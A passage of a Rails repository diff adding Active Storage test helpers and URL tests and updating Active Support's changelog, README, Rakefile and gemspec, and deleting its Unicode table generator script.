+    ActiveStorage::Current.url_options = { protocol: "https://", host: "example.com", port: nil }
+  end
+
+  private
+    def create_blob(key: nil, data: "Hello world!", filename: "hello.txt", content_type: "text/plain", identify: true, service_name: nil, record: nil)
+      ActiveStorage::Blob.create_and_upload! key: key, io: StringIO.new(data), filename: filename, content_type: content_type, identify: identify, service_name: service_name, record: record
+    end
+
+    def create_file_blob(key: nil, filename: "racecar.jpg", fixture: filename, content_type: "image/jpeg", identify: true, metadata: nil, service_name: nil, record: nil)
+      ActiveStorage::Blob.create_and_upload! io: file_fixture(fixture).open, filename: filename, content_type: content_type, identify: identify, metadata: metadata, service_name: service_name, record: record
+    end
+
+    def create_blob_before_direct_upload(key: nil, filename: "hello.txt", byte_size:, checksum:, content_type: "text/plain", record: nil)
+      ActiveStorage::Blob.create_before_direct_upload! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, record: record
+    end
+
+    def build_blob_after_unfurling(key: nil, data: "Hello world!", filename: "hello.txt", content_type: "text/plain", identify: true, record: nil)
+      ActiveStorage::Blob.build_after_unfurling key: key, io: StringIO.new(data), filename: filename, content_type: content_type, identify: identify, record: record
+    end
+
+    def directly_upload_file_blob(filename: "racecar.jpg", content_type: "image/jpeg", record: nil)
+      file = file_fixture(filename)
+      byte_size = file.size
+      checksum = OpenSSL::Digest::MD5.file(file).base64digest
+
+      create_blob_before_direct_upload(filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, record: record).tap do |blob|
+        service = ActiveStorage::Blob.service.try(:primary) || ActiveStorage::Blob.service
+        service.upload(blob.key, file.open)
+      end
+    end
+
+    def read_image(blob_or_variant)
+      MiniMagick::Image.open blob_or_variant.service.send(:path_for, blob_or_variant.key)
+    end
+
+    def extract_metadata_from(blob)
+      blob.tap(&:analyze).metadata
+    end
+
+    def fixture_file_upload(filename)
+      Rack::Test::UploadedFile.new file_fixture(filename).to_s
+    end
+
+    def with_service(service_name)
+      previous_service = ActiveStorage::Blob.service
+      ActiveStorage::Blob.service = service_name ? ActiveStorage::Blob.services.fetch(service_name) : nil
+
+      yield
+    ensure
+      ActiveStorage::Blob.service = previous_service
+    end
+
+    def with_strict_loading_by_default(&block)
+      strict_loading_was = ActiveRecord::Base.strict_loading_by_default
+      ActiveRecord::Base.strict_loading_by_default = true
+      yield
+    ensure
+      ActiveRecord::Base.strict_loading_by_default = strict_loading_was
+    end
+
+    def without_variant_tracking(&block)
+      variant_tracking_was = ActiveStorage.track_variants
+      ActiveStorage.track_variants = false
+      yield
+    ensure
+      ActiveStorage.track_variants = variant_tracking_was
+    end
+
+    def with_raise_on_open_redirects(service)
+      old_raise_on_open_redirects = ActionController::Base.raise_on_open_redirects
+      old_service = ActiveStorage::Blob.service
+
+      ActionController::Base.raise_on_open_redirects = true
+      ActiveStorage::Blob.service = ActiveStorage::Service.configure(service, SERVICE_CONFIGURATIONS)
+      yield
+    ensure
+      ActionController::Base.raise_on_open_redirects = old_raise_on_open_redirects
+      ActiveStorage::Blob.service = old_service
+    end
+end
+
+require "global_id"
+GlobalID.app = "ActiveStorageExampleApp"
+ActiveRecord::Base.include GlobalID::Identification
+
+class User < ActiveRecord::Base
+  attr_accessor :record_callbacks, :callback_counter
+  attr_reader :notification_sent
+
+  validates :name, presence: true
+
+  has_one_attached :avatar
+  has_one_attached :cover_photo, dependent: false, service: :local
+  has_one_attached :avatar_with_variants do |attachable|
+    attachable.variant :thumb, resize_to_limit: [100, 100]
+  end
+  has_one_attached :avatar_with_immediate_variants do |attachable|
+    attachable.variant :immediate_thumb, resize_to_limit: [1, 1], process: :immediately
+  end
+  has_one_attached :avatar_with_later_variants do |attachable|
+    attachable.variant :later_thumb, resize_to_limit: [2, 2], process: :later
+  end
+  has_one_attached :avatar_with_lazy_variants do |attachable|
+    attachable.variant :lazy_thumb, resize_to_limit: [3, 3], process: :lazily
+    attachable.variant :default_thumb, resize_to_limit: [4, 4]
+  end
+  ActiveStorage.deprecator.silence do
+    has_one_attached :avatar_with_preprocessed do |attachable|
+      attachable.variant :bool, resize_to_limit: [1, 1], preprocessed: true
+    end
+    has_one_attached :avatar_with_conditional_preprocessed do |attachable|
+      attachable.variant :proc, resize_to_limit: [2, 2],
+        preprocessed: ->(user) { user.name == "transform via proc" }
+      attachable.variant :method, resize_to_limit: [3, 3],
+        preprocessed: :should_preprocessed?
+    end
+  end
+  has_one_attached :intro_video
+  has_one_attached :name_pronunciation_audio
+  has_one_attached :avatar_with_immediate_analysis, analyze: :immediately
+  has_one_attached :avatar_with_later_analysis, analyze: :later
+  has_one_attached :avatar_with_lazy_analysis, analyze: :lazily
+
+  has_many_attached :highlights
+  has_many_attached :vlogs, dependent: false, service: :local
+  has_many_attached :highlights_with_variants do |attachable|
+    attachable.variant :thumb, resize_to_limit: [100, 100]
+  end
+  has_many_attached :highlights_with_immediate_variants do |attachable|
+    attachable.variant :immediate_thumb, resize_to_limit: [1, 1], process: :immediately
+  end
+  ActiveStorage.deprecator.silence do
+    has_many_attached :highlights_with_preprocessed do |attachable|
+      attachable.variant :bool, resize_to_limit: [1, 1], preprocessed: true
+    end
+    has_many_attached :highlights_with_conditional_preprocessed do |attachable|
+      attachable.variant :proc, resize_to_limit: [2, 2],
+        preprocessed: ->(user) { user.name == "transform via proc" }
+      attachable.variant :method, resize_to_limit: [3, 3],
+        preprocessed: :should_preprocessed?
+    end
+  end
+  has_one_attached :resume do |attachable|
+    attachable.variant :preview, resize_to_fill: [400, 400]
+  end
+  ActiveStorage.deprecator.silence do
+    has_one_attached :resume_with_preprocessing do |attachable|
+      attachable.variant :preview, resize_to_fill: [400, 400], preprocessed: true
+    end
+  end
+
+  after_commit :increment_callback_counter
+  after_update_commit :notify
+
+  accepts_nested_attributes_for :highlights_attachments, allow_destroy: true
+
+  def should_preprocessed?
+    name == "transform via method"
+  end
+
+  def increment_callback_counter
+    if record_callbacks
+      @callback_counter ||= 0
+      @callback_counter += 1
+    end
+  end
+
+  def notify
+    @notification_sent = true if highlights_attachments.any?(&:previously_new_record?)
+  end
+end
+
+class Group < ActiveRecord::Base
+  has_one_attached :avatar
+  has_many :users, autosave: true
+
+  accepts_nested_attributes_for :users
+end
+
+require_relative "../../tools/test_common"
diff --git a/activestorage/test/urls/rails_storage_proxy_url_test.rb b/activestorage/test/urls/rails_storage_proxy_url_test.rb
new file mode 100644
index 0000000000000..68a1629d752c5
--- /dev/null
+++ b/activestorage/test/urls/rails_storage_proxy_url_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class RailsStorageProxyUrlTest < ActiveSupport::TestCase
+  include Rails.application.routes.url_helpers
+
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+    @was_resolve_model_to_route, ActiveStorage.resolve_model_to_route = ActiveStorage.resolve_model_to_route, :rails_storage_proxy
+  end
+
+  teardown do
+    ActiveStorage.resolve_model_to_route = @was_resolve_model_to_route
+  end
+
+  test "rails_storage_proxy_path generates proxy path" do
+    assert_includes rails_storage_proxy_path(@blob, only_path: true), "/rails/active_storage/blobs/proxy/"
+  end
+
+  test "rails_storage_redirect_path generates redirect path" do
+    assert_includes rails_storage_redirect_path(@blob, only_path: true), "/rails/active_storage/blobs/redirect/"
+  end
+
+  test "rails_blob_path generates proxy path" do
+    assert_includes rails_blob_path(@blob, only_path: true), "/rails/active_storage/blobs/proxy/"
+  end
+
+  test "rails_blob_path with variant generates proxy path" do
+    variant = @blob.variant(resize_to_limit: [100, 100])
+    assert_includes rails_blob_path(variant, only_path: true), "/rails/active_storage/representations/proxy/"
+  end
+
+  test "rails_representation_path generates proxy path" do
+    variant = @blob.variant(resize_to_limit: [100, 100])
+    assert_includes rails_representation_path(variant, only_path: true), "/rails/active_storage/representations/proxy/"
+  end
+end
diff --git a/activestorage/test/urls/rails_storage_redirect_url_test.rb b/activestorage/test/urls/rails_storage_redirect_url_test.rb
new file mode 100644
index 0000000000000..b2f3c7fc67356
--- /dev/null
+++ b/activestorage/test/urls/rails_storage_redirect_url_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class RailsStorageRedirectUrlTest < ActiveSupport::TestCase
+  include Rails.application.routes.url_helpers
+
+  setup do
+    @blob = create_file_blob filename: "racecar.jpg"
+    @was_resolve_model_to_route, ActiveStorage.resolve_model_to_route = ActiveStorage.resolve_model_to_route, :rails_storage_redirect
+  end
+
+  teardown do
+    ActiveStorage.resolve_model_to_route = @was_resolve_model_to_route
+  end
+
+  test "rails_storage_proxy_path generates proxy path" do
+    assert_includes rails_storage_proxy_path(@blob, only_path: true), "/rails/active_storage/blobs/proxy/"
+  end
+
+  test "rails_storage_redirect_path generates redirect path" do
+    assert_includes rails_storage_redirect_path(@blob, only_path: true), "/rails/active_storage/blobs/redirect/"
+  end
+
+  test "rails_blob_path generates redirect path" do
+    assert_includes rails_blob_path(@blob, only_path: true), "/rails/active_storage/blobs/redirect/"
+  end
+
+  test "rails_blob_path with variant generates redirect path" do
+    variant = @blob.variant(resize_to_limit: [100, 100])
+    assert_includes rails_blob_path(variant, only_path: true), "/rails/active_storage/representations/redirect/"
+  end
+
+  test "rails_representation_path generates proxy path" do
+    variant = @blob.variant(resize_to_limit: [100, 100])
+    assert_includes rails_representation_path(variant, only_path: true), "/rails/active_storage/representations/redirect/"
+  end
+end
diff --git a/activesupport/.gitignore b/activesupport/.gitignore
new file mode 100644
index 0000000000000..8cde8514fd99a
--- /dev/null
+++ b/activesupport/.gitignore
@@ -0,0 +1 @@
+/test/fixtures/isolation_test/
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index 2fb7f29d73755..b6b10de9a4b9f 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,407 +1,54 @@
-*   Deprecate `.halt_callback_chains_on_return_false`.
+*   Make flaky parallel tests easier to diagnose by deterministically assigning
+    tests to workers.
 
-    *Rafael Mendonça França*
+    Rails assigns tests to workers in round-robin order so the same `--seed`
+    and worker count will result in the same sequence of tests running on each
+    worker (whether processes or threads) increasing the odds of reproducing
+    test failures caused by test interdependence.
 
-*   Remove deprecated behavior that halts callbacks when the return is false.
+    This can make test runtime slower and spikier when one worker gets most of
+    the slow tests. Enable `work_stealing: true` to allow idle workers to steal
+    tests from busy workers in deterministic order, smoothing out runtime at the
+    cost of less reproducible flaky-test failures.
 
-    *Rafael Mendonça França*
-
-*   Deprecate passing string to `:if` and `:unless` conditional options
-    on `set_callback` and `skip_callback`.
-
-    *Ryuta Kamizono*
-
-*   Raise `ArgumentError` when passing string to define callback.
-
-    *Ryuta Kamizono*
-
-*   Updated Unicode version to 9.0.0
-
-    Now we can handle new emojis such like "👩�👩�👧�👦" ("\u{1F469}\u{200D}\u{1F469}\u{200D}\u{1F467}\u{200D}\u{1F466}").
-
-    version 8.0.0
-
-        "👩�👩�👧�👦".mb_chars.grapheme_length # => 4
-        "👩�👩�👧�👦".mb_chars.reverse # => "👦👧�👩�👩�"
-
-    version 9.0.0
-
-        "👩�👩�👧�👦".mb_chars.grapheme_length # => 1
-        "👩�👩�👧�👦".mb_chars.reverse # => "👩�👩�👧�👦"
-
-    *Fumiaki MATSUSHIMA*
-
-*   Changed `ActiveSupport::Inflector#transliterate` to raise `ArgumentError` when it receives
-    anything except a string.
-
-    *Kevin McPhillips*
-
-*   Fixed bugs that `StringInquirer#respond_to_missing?` and
-    `ArrayInquirer#respond_to_missing?` do not fallback to `super`.
-
-    *Akira Matsuda*
-
-*   Fix inconsistent results when parsing large durations and constructing durations from code
-
-        ActiveSupport::Duration.parse('P3Y') == 3.years # It should be true
-
-    Duration parsing made independent from any moment of time:
-    Fixed length in seconds is assigned to each duration part during parsing.
-
-    Changed duration of months and years in seconds to more accurate and logical:
-
-     1. The value of 365.2425 days in Gregorian year is more accurate
-        as it accounts for every 400th non-leap year.
-
-     2. Month's length is bound to year's duration, which makes
-        sensible comparisons like `12.months == 1.year` to be `true`
-        and nonsensical ones like `30.days == 1.month` to be `false`.
-
-    Calculations on times and dates with durations shouldn't be affected as
-    duration's numeric value isn't used in calculations, only parts are used.
-
-    Methods on `Numeric` like `2.days` now use these predefined durations
-    to avoid duplicating of duration constants through the codebase and
-    eliminate creation of intermediate durations.
-
-    *Andrey Novikov, Andrew White*
-
-*   Change return value of `Rational#duplicable?`, `ComplexClass#duplicable?`
-    to false.
-
-    *utilum*
-
-*   Change return value of `NilClass#duplicable?`, `FalseClass#duplicable?`,
-    `TrueClass#duplicable?`, `Symbol#duplicable?` and `Numeric#duplicable?`
-    to true with Ruby 2.4+. These classes can dup with Ruby 2.4+.
-
-    *Yuji Yaginuma*
-
-*   Remove deprecated class `ActiveSupport::Concurrency::Latch`.
-
-    *Andrew White*
-
-*   Remove deprecated separator argument from `parameterize`.
-
-    *Andrew White*
-
-*   Remove deprecated method `Numeric#to_formatted_s`.
-
-    *Andrew White*
-
-*   Remove deprecated method `alias_method_chain`.
-
-    *Andrew White*
-
-*   Remove deprecated constant `MissingSourceFile`.
-
-    *Andrew White*
-
-*   Remove deprecated methods `Module.qualified_const_defined?`,
-    `Module.qualified_const_get` and `Module.qualified_const_set`.
-
-    *Andrew White*
-
-*   Remove deprecated `:prefix` option from `number_to_human_size`.
-
-    *Andrew White*
-
-*   Remove deprecated method `ActiveSupport::HashWithIndifferentAccess.new_from_hash_copying_default`.
-
-    *Andrew White*
-
-*   Remove deprecated file `active_support/core_ext/time/marshal.rb`.
-
-    *Andrew White*
-
-*   Remove deprecated file `active_support/core_ext/struct.rb`.
-
-    *Andrew White*
-
-*   Remove deprecated file `active_support/core_ext/module/method_transplanting.rb`.
-
-    *Andrew White*
-
-*   Remove deprecated method `Module.local_constants`.
-
-    *Andrew White*
-
-*   Remove deprecated file `active_support/core_ext/kernel/debugger.rb`.
-
-    *Andrew White*
-
-*   Remove deprecated method `ActiveSupport::Cache::Store#namespaced_key`.
-
-    *Andrew White*
-
-*   Remove deprecated method `ActiveSupport::Cache::Strategy::LocalCache::LocalStore#set_cache_value`.
-
-    *Andrew White*
-
-*   Remove deprecated method `ActiveSupport::Cache::MemCacheStore#escape_key`.
-
-    *Andrew White*
-
-*   Remove deprecated method `ActiveSupport::Cache::FileStore#key_file_path`.
-
-    *Andrew White*
-
-*   Ensure duration parsing is consistent across DST changes.
-
-    Previously `ActiveSupport::Duration.parse` used `Time.current` and
-    `Time#advance` to calculate the number of seconds in the duration
-    from an arbitrary collection of parts. However as `advance` tries to
-    be consistent across DST boundaries this meant that either the
-    duration was shorter or longer depending on the time of year.
-
-    This was fixed by using an absolute reference point in UTC which
-    isn't subject to DST transitions. An arbitrary date of Jan 1st, 2000
-    was chosen for no other reason that it seemed appropriate.
-
-    Additionally, duration parsing should now be marginally faster as we
-    are no longer creating instances of `ActiveSupport::TimeWithZone`
-    every time we parse a duration string.
-
-    Fixes #26941.
-
-    *Andrew White*
-
-*   Use `Hash#compact` and `Hash#compact!` from Ruby 2.4. Old Ruby versions
-    will continue to get these methods from Active Support as before.
-
-    *Prathamesh Sonpatki*
-
-*   Fix `ActiveSupport::TimeZone#strptime`.
-    Support for timestamps in format of seconds (%s) and milliseconds (%Q).
-
-    Fixes #26840.
-
-    *Lev Denisov*
-
-*   Fix `DateAndTime::Calculations#copy_time_to`. Copy `nsec` instead of `usec`.
-
-    Jumping forward or backward between weeks now preserves nanosecond digits.
-
-    *Josua Schmid*
-
-*   Fix `ActiveSupport::TimeWithZone#in` across DST boundaries.
-
-    Previously calls to `in` were being sent to the non-DST aware
-    method `Time#since` via `method_missing`. It is now aliased to
-    the DST aware `ActiveSupport::TimeWithZone#+` which handles
-    transitions across DST boundaries, e.g:
-
-        Time.zone = "US/Eastern"
-
-        t = Time.zone.local(2016,11,6,1)
-        # => Sun, 06 Nov 2016 01:00:00 EDT -05:00
-
-        t.in(1.hour)
-        # => Sun, 06 Nov 2016 01:00:00 EST -05:00
-
-    Fixes #26580.
-
-    *Thomas Balthazar*
-
-*   Remove unused parameter `options = nil` for `#clear` of
-    `ActiveSupport::Cache::Strategy::LocalCache::LocalStore` and
-    `ActiveSupport::Cache::Strategy::LocalCache`.
-
-    *Yosuke Kabuto*
-
-*   Fix `thread_mattr_accessor` subclass no longer overwrites parent.
-
-    Assigning a value to a subclass using `thread_mattr_accessor` no
-    longer changes the value of the parent class. This brings the
-    behavior inline with the documentation.
-
-    Given:
-
-        class Account
-          thread_mattr_accessor :user
-        end
-
-        class Customer < Account
-        end
-
-        Account.user = "DHH"
-        Customer.user = "Rafael"
-
-    Before:
-
-        Account.user  # => "Rafael"
-
-    After:
-
-        Account.user  # => "DHH"
-
-    *Shinichi Maeshima*
-
-*   Since weeks are no longer converted to days, add `:weeks` to the list of
-    parts that `ActiveSupport::TimeWithZone` will recognize as possibly being
-    of variable duration to take account of DST transitions.
-
-    Fixes #26039.
-
-    *Andrew White*
-
-*   Defines `Regexp.match?` for Ruby versions prior to 2.4. The predicate
-    has the same interface, but it does not have the performance boost. Its
-    purpose is to be able to write 2.4 compatible code.
-
-    *Xavier Noria*
-
-*   Allow `MessageEncryptor` to take advantage of authenticated encryption modes.
-
-    AEAD modes like `aes-256-gcm` provide both confidentiality and data
-    authenticity, eliminating the need to use `MessageVerifier` to check if the
-    encrypted data has been tampered with. This speeds up encryption/decryption
-    and results in shorter cipher text.
-
-    *Bart de Water*
-
-*   Introduce `assert_changes` and `assert_no_changes`.
-
-    `assert_changes` is a more general `assert_difference` that works with any
-    value.
-
-        assert_changes 'Error.current', from: nil, to: 'ERR' do
-          expected_bad_operation
-        end
-
-    Can be called with strings, to be evaluated in the binding (context) of
-    the block given to the assertion, or a lambda.
-
-        assert_changes -> { Error.current }, from: nil, to: 'ERR' do
-          expected_bad_operation
-        end
-
-    The `from` and `to` arguments are compared with the case operator (`===`).
-
-        assert_changes 'Error.current', from: nil, to: Error do
-          expected_bad_operation
-        end
-
-    This is pretty useful, if you need to loosely compare a value. For example,
-    you need to test a token has been generated and it has that many random
-    characters.
-
-        user = User.start_registration
-        assert_changes 'user.token', to: /\w{32}/ do
-          user.finish_registration
-        end
-
-    *Genadi Samokovarov*
-
-*   Fix `ActiveSupport::TimeZone#strptime`. Now raises `ArgumentError` when the
-    given time doesn't match the format. The error is the same as the one given
-    by Ruby's `Date.strptime`. Previously it raised
-    `NoMethodError: undefined method empty? for nil:NilClass.` due to a bug.
-
-    Fixes #25701.
-
-    *John Gesimondo*
-
-*   `travel/travel_to` travel time helpers, now raise on nested calls,
-     as this can lead to confusing time stubbing.
-
-     Instead of:
-
-         travel_to 2.days.from_now do
-           # 2 days from today
-           travel_to 3.days.from_now do
-             # 5 days from today
-           end
-         end
-
-     preferred way to achieve above is:
-
-         travel 2.days do
-           # 2 days from today
-         end
-
-         travel 5.days do
-           # 5 days from today
-         end
-
-     *Vipul A M*
-
-*   Support parsing JSON time in ISO8601 local time strings in
-    `ActiveSupport::JSON.decode` when `parse_json_times` is enabled.
-    Strings in the format of `YYYY-MM-DD hh:mm:ss` (without a `Z` at
-    the end) will be parsed in the local timezone (`Time.zone`). In
-    addition, date strings (`YYYY-MM-DD`) are now parsed into `Date`
-    objects.
-
-    *Grzegorz Witek*
-
-*   Fixed `ActiveSupport::Logger.broadcast` so that calls to `#silence` now
-    properly delegate to all loggers. Silencing now properly suppresses logging
-    to both the log and the console.
-
-    *Kevin McPhillips*
-
-*   Remove deprecated arguments in `assert_nothing_raised`.
-
-    *Rafel Mendonça França*
-
-*   `Date.to_s` doesn't produce too many spaces. For example, `to_s(:short)`
-    will now produce `01 Feb` instead of ` 1 Feb`.
+    *Jeremy Daer*
 
-    Fixes #25251.
+*   Make `ActiveSupport::EventReporter#debug_mode?` true by default to emit debug events
+    outside of Rails application contexts.
 
-    *Sean Griffin*
+    *Gannon McGibbon*
 
-*   Introduce `Module#delegate_missing_to`.
+*   Add `SecureRandom.base32` for generating case-insensitive keys that are unambiguous to humans.
 
-    When building a decorator, a common pattern emerges:
+    *Stanko Krtalic Rusendic & Miha Rekar*
 
-        class Partition
-          def initialize(first_event)
-            @events = [ first_event ]
-          end
+*   Add a fast failure mode to `ActiveSupport::ContinuousIntegration` that stops the rest of
+    the run after a step fails. Invoke by running `bin/ci --fail-fast` or `bin/ci -f`.
 
-          def people
-            if @events.first.detail.people.any?
-              @events.collect { |e| Array(e.detail.people) }.flatten.uniq
-            else
-              @events.collect(&:creator).uniq
-            end
-          end
+    *Dennis Paagman*
 
-          private
-            def respond_to_missing?(name, include_private = false)
-              @events.respond_to?(name, include_private)
-            end
+*   Implement LocalCache strategy on `ActiveSupport::Cache::MemoryStore`. The memory store
+    needs to respond to the same interface as other cache stores (e.g. `ActiveSupport::NullStore`).
 
-            def method_missing(method, *args, &block)
-              @events.send(method, *args, &block)
-            end
-        end
+    *Mikey Gough*
 
-    With `Module#delegate_missing_to`, the above is condensed to:
+*   Add a detailed failure summary to `ActiveSupport::ContinuousIntegration`.
 
-        class Partition
-          delegate_missing_to :@events
+    *Mike Dalessio*
 
-          def initialize(first_event)
-            @events = [ first_event ]
-          end
+*   Introduce `ActiveSupport::EventReporter::LogSubscriber` structured event logging.
 
-          def people
-            if @events.first.detail.people.any?
-              @events.collect { |e| Array(e.detail.people) }.flatten.uniq
-            else
-              @events.collect(&:creator).uniq
-            end
-          end
-        end
+    ```ruby
+    class MyLogSubscriber < ActiveSupport::EventReporter::LogSubscriber
+      self.namespace = "test"
 
-    *Genadi Samokovarov*, *DHH*
+      def something(event)
+        info { "Event #{event[:name]} emitted." }
+      end
+    end
+    ```
 
-*   Rescuable: If a handler doesn't match the exception, check for handlers
-    matching the exception's cause.
+    *Gannon McGibbon*
 
-    *Jeremy Daer*
 
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activesupport/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index 6b3cead1a75c8..f12cfa766c555 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
index 14ce20430317e..b8de6afadbf2e 100644
--- a/activesupport/README.rdoc
+++ b/activesupport/README.rdoc
@@ -1,10 +1,11 @@
-= Active Support -- Utility classes and Ruby extensions from Rails
+= Active Support -- Utility classes and Ruby extensions from \Rails
 
 Active Support is a collection of utility classes and standard library
-extensions that were found useful for the Rails framework. These additions
+extensions that were found useful for the \Rails framework. These additions
 reside in this package so they can be loaded as needed in Ruby projects
-outside of Rails.
+outside of \Rails.
 
+You can read more about the extensions in the {Active Support Core Extensions}[https://guides.rubyonrails.org/active_support_core_extensions.html] guide.
 
 == Download and installation
 
@@ -12,28 +13,28 @@ The latest version of Active Support can be installed with RubyGems:
 
   $ gem install activesupport
 
-Source code can be downloaded as part of the Rails project on GitHub:
+Source code can be downloaded as part of the \Rails project on GitHub:
 
-* https://github.com/rails/rails/tree/master/activesupport
+* https://github.com/rails/rails/tree/main/activesupport
 
 
 == License
 
 Active Support is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 
 == Support
 
 API documentation is at:
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
index 2e1c50cc3dfad..90034a3642069 100644
--- a/activesupport/Rakefile
+++ b/activesupport/Rakefile
@@ -1,21 +1,29 @@
+# frozen_string_literal: true
+
 require "rake/testtask"
 
 task default: :test
 
-task :package
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 Rake::TestTask.new do |t|
-  t.libs << "test"
   t.pattern = "test/**/*_test.rb"
   t.warning = true
   t.verbose = true
+  t.options = "--profile" if ENV["CI"]
   t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
 namespace :test do
-  task :isolated do
+  task isolated: :railties do
     Dir.glob("test/**/*_test.rb").all? do |file|
-      sh(Gem.ruby, "-w", "-Ilib:test", file)
+      sh(Gem.ruby, "-w", file)
+    end || raise("Failures")
+  end
+
+  task :railties do
+    ["active_support/i18n_railtie", "active_support/railtie"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
     end || raise("Failures")
   end
 end
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index 08370cba85773..8aac4535db0e1 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
@@ -7,21 +9,41 @@ Gem::Specification.new do |s|
   s.summary     = "A toolkit of support libraries and Ruby core extensions extracted from the Rails framework."
   s.description = "A toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Rich support for multibyte strings, internationalization, time zones, and testing."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
   s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.rdoc", "lib/**/*"]
   s.require_path = "lib"
 
   s.rdoc_options.concat ["--encoding",  "UTF-8"]
 
-  s.add_dependency "i18n",       "~> 0.7"
-  s.add_dependency "tzinfo",     "~> 1.1"
-  s.add_dependency "minitest",   "~> 5.1"
-  s.add_dependency "concurrent-ruby", "~> 1.0", ">= 1.0.2"
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/activesupport/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/activesupport",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
+  s.add_dependency "i18n",            ">= 1.6", "< 2"
+  s.add_dependency "tzinfo",          "~> 2.0", ">= 2.0.5"
+  s.add_dependency "concurrent-ruby", "~> 1.0", ">= 1.3.1"
+  s.add_dependency "connection_pool", ">= 2.2.5"
+  s.add_dependency "minitest",        ">= 5.1"
+  s.add_dependency "base64"
+  s.add_dependency "drb"
+  s.add_dependency "bigdecimal"
+  s.add_dependency "json"
+  s.add_dependency "logger", ">= 1.4.2"
+  s.add_dependency "securerandom", ">= 0.3"
+  s.add_dependency "uri", ">= 0.13.1"
 end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
deleted file mode 100755
index aa36a01b5b4d5..0000000000000
--- a/activesupport/bin/generate_tables
+++ /dev/null
@@ -1,140 +0,0 @@
-#!/usr/bin/env ruby
-
-begin
-  $:.unshift(File.expand_path(File.dirname(__FILE__) + "/../lib"))
-  require "active_support"
-rescue IOError
-end
-
-require "open-uri"
-require "tmpdir"
-require "fileutils"
-
-module ActiveSupport
-  module Multibyte
-    module Unicode
-      class UnicodeDatabase
-        def load; end
-      end
-
-      class DatabaseGenerator
-        BASE_URI = "http://www.unicode.org/Public/#{UNICODE_VERSION}/ucd/"
-        SOURCES = {
-          codepoints: BASE_URI + "UnicodeData.txt",
-          composition_exclusion: BASE_URI + "CompositionExclusions.txt",
-          grapheme_break_property: BASE_URI + "auxiliary/GraphemeBreakProperty.txt",
-          cp1252: "http://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT"
-        }
-
-        def initialize
-          @ucd = Unicode::UnicodeDatabase.new
-        end
-
-        def parse_codepoints(line)
-          codepoint = Codepoint.new
-          raise "Could not parse input." unless line =~ /^
-            ([0-9A-F]+);        # code
-            ([^;]+);            # name
-            ([A-Z]+);           # general category
-            ([0-9]+);           # canonical combining class
-            ([A-Z]+);           # bidi class
-            (<([A-Z]*)>)?       # decomposition type
-            ((\ ?[0-9A-F]+)*);  # decomposition mapping
-            ([0-9]*);           # decimal digit
-            ([0-9]*);           # digit
-            ([^;]*);            # numeric
-            ([YN]*);            # bidi mirrored
-            ([^;]*);            # unicode 1.0 name
-            ([^;]*);            # iso comment
-            ([0-9A-F]*);        # simple uppercase mapping
-            ([0-9A-F]*);        # simple lowercase mapping
-            ([0-9A-F]*)$/ix     # simple titlecase mapping
-          codepoint.code              = $1.hex
-          codepoint.combining_class   = Integer($4)
-          codepoint.decomp_type       = $7
-          codepoint.decomp_mapping    = ($8 == "") ? nil : $8.split.collect(&:hex)
-          codepoint.uppercase_mapping = ($16 == "") ? 0 : $16.hex
-          codepoint.lowercase_mapping = ($17 == "") ? 0 : $17.hex
-          @ucd.codepoints[codepoint.code] = codepoint
